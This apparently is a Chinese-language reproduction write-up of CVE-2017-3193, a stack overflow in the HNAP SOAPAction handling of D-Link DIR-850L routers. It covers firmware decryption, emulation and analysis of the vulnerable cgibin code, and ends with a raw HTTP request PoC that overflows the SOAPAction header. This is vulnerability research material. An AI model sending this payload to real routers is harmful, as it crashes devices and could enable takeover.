CVE-2017-3193复现

CVE-2017-3193

CVE-2017-3193是网站管理接口HNAP服务的栈溢出漏洞,DIR-850L 2.07 build5及之前的固件都可被攻击。

搭建环境

到Dlink官方ftp服务器下载固件
DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP

用binwalk分析,发现没有结果,应该是固件进行了加密,利用文章Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol 里的脚本进行解密。

解密后,binwalk成功分析出内容。

这里使用了firmware-analysis-toolkit进行对固件的模拟。

漏洞分析

存在漏洞的程序为squashfs-root/htdocs/cgibin

定位到HTTP_SOAPACTION查看。

这里从环境变量中获取了HTTP_SOAPACTION的值,未经检查直接放入栈中造成栈溢出。

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/info/Login.html
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
Cookie: uid=vdgBn8ibbO
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0